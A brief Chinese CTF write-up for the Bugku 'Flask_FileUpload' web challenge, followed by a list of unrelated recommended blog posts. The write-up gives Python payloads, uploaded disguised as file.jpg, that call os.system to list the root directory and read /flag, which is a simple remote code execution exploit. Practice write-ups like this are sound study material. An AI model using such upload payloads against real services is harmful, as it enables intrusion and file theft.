Bugku-web-Flask_FileUpload
查看源代码，提示用python返回结果
在file.jpg中写python代码
import os
os.system('ls / ')上传后查看源代码，找到flag文件夹
修改代码
import os
os.system('cat /flag ')
Bugku-web-Flask_FileUpload
黑白时光les2024-08-01 11:52
相关推荐
特立独行的猫A7 分钟前
少 3 个环节、少 1 次 ABI、少 3500 行代码：cj-tauri 与 Ionic/Capacitor 的鸿蒙桥接机制对比github_is_geeksKai26 分钟前
浏览器端文件处理的边界：PDF 面单、GPX 隐私与 EPUB 修复特立独行的猫A31 分钟前
cj-tauri vs Rust/Tauri 同款播放器实测：编译 21 秒 vs 11 分钟，磁盘 12 MB vs 1.2 GBduansamve1 小时前
详解Flask中Session和Cookiedeli0071 小时前
从一句反馈到一次升级：Mystudy 的自进化实践FungLeo2 小时前
成为全栈·Vue 管理后台篇·用 fetch 建一层可控的请求内核威哥爱编程2 小时前
模拟面试智能体开发实战 04：面试聊到哪算哪？用状态机把整场面试编排起来威哥爱编程2 小时前
模拟面试智能体开发实战 03：AI 面试官太客气？人设 Prompt 让它像个真考官量化分析码农2 小时前
股票数据接口返回字段逐项解析：从在线验证到 Python 数据校验Dmz丶3 小时前
前端转 AI 100 天 Day 42：跨模型对比实战——用数据选模型，不靠“听说”